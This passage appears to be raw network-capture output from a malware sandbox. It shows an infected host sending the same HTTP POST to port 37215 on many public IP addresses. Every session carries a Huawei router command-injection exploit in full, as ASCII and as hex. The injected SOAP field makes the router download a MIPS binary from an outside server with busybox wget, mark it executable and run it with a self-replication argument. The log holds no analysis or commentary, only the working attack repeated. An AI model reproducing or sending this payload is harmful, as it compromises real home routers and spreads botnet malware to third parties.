65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	56652	223.8.181.1	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.882636070 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	47098	156.236.78.194	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.884205103 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	46950	181.75.36.86	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.885571003 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	36624	197.122.95.139	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.886432886 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	38636	197.20.229.146	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.887623072 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	33860	134.93.161.218	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.888895035 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	33122	223.8.73.168	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.889708996 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	42210	197.50.17.141	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.890536070 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	41198	223.8.233.222	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.892034054 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	59096	134.244.9.99	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.892806053 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	53006	181.44.208.87	37215

Timestamp	Bytes transferred	Direction	Data
